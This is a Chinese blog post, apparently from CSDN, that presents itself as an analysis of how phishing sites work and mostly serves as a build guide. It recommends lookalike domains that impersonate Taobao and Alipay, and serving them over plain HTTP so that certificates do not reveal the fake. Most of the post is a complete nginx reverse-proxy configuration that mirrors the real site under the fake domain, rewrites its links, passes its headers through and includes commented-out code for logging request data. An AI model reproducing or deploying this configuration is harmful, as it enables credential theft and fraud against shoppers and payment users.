最近闲的蛋疼~ 分析了一下钓鱼网站的原理与实现。
可选技术方案
1)域名蒙眼术;
2)dns支持;
dns劫持的关键是拥有客户端操作系统的权限,比如给用户发一些病毒程序,安装浏览器插件这类来实现,这里主要讨论web技术。
蒙眼术,比如:www.taobao.com是淘宝的域名,那我可以申请买个域名:www.taobao.com.xx.cn(注意红色才是真正的域名),普通用户不注意的话,是不会注意到域名上的区别了~
对于交易网站通常都是https开头的,这个证书是很难伪造的,当然能够入侵客户的操作系统也是可以搞定的,这个不谈。怎么办?我们不使用https就行了呗。还是上面说的,比如
https://pay.alipay.com,我们可以使用http://pay.alipay.com.xx.cn,用户发现了,那就认了~~
接下来,就是重点,后端的http服务如何提供,熟悉nginx 反向代理之类软件的人敢说so easy~
发现一个类似的网站,可以参考这个网站:http://www.cncache.info
好了,上代码。简单的实现其实没这么复杂,这里还加入了静态文件缓存,网页中的域名替换。
#cache begin 用于静态资源缓存
proxy_buffering on;
proxy_cache_valid 200 204 1h; #default valid period
proxy_cache_path /work/cache levels=1:2 keys_zone=my-cache:8m max_size=5000m inactive=600m;
proxy_temp_path /work/temp;
proxy_buffer_size 4k;
proxy_buffers 100 8k;
#cache end
server {
listen 80;
server_name www.taobao.com.xxx.com;
set $ori_server "www.taobao.com";
set $resp_body "";
set $req_dir "/";
#url替换
sub_filter $ori_server $host; #subs_filter not support variables
sub_filter_once off;
subs_filter_types text/html;
#图片链使用原站的
subs_filter ((href|src|background)=['"])((?!http:)(?!https:)[^/]([./?%&=\w-]+)\.(gif|jpeg|jpg|png|js|css)([?][./?%&=\w-]+)?['"]) $1http://$ori_server$req_dir/$3 ir;
subs_filter ((href|src|background)=['"])((/[./?%&=\w-]+)\.(gif|jpeg|jpg|png|js|css)([?][./?%&=\w-]+)?['"]) $1http://$ori_server$3 ir;
#头信息伪装
proxy_set_header Accept-Encoding ""; #gzip not support
proxy_set_header X-Forward-For $remote_addr; #transfer client ip to dest server
proxy_pass_header Server; #transfer ori header[Server] to browser
proxy_cache my-cache;
#首页
location ~* ^/(index.htm|index.html)?$ { # //index.htm
/index.html
proxy_pass http://$ori_server;
}
location ~* \.(js|css)$ {
proxy_pass http://$ori_server;
#TODO replace url
}
location ~* (favicon.ico|\.(gif|jpeg|jpg|png))$ {
proxy_pass http://$ori_server;
}
location /{
if ( $request_uri ~* "(.*)?/[^/]*$" ){
set $req_dir $1;
}
proxy_pass http://$ori_server;
#log data
#if ($request_uri ~* "(/getDepartments.do)"){
#body_filter_by_lua 'ngx.var.resp_body =ngx.var.resp_body..ngx.arg[1];';
#}
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
本文介绍了钓鱼网站的一种实现方法,主要利用域名蒙眼术和DNS支持。通过设置Nginx作为反向代理,将用户请求转发到目标站点,同时进行URL和静态资源的替换,以达到伪装的目的。详细步骤包括配置Nginx服务器块,进行URL和头信息的伪装,以及静态文件的缓存处理。
756

被折叠的 条评论
为什么被折叠?



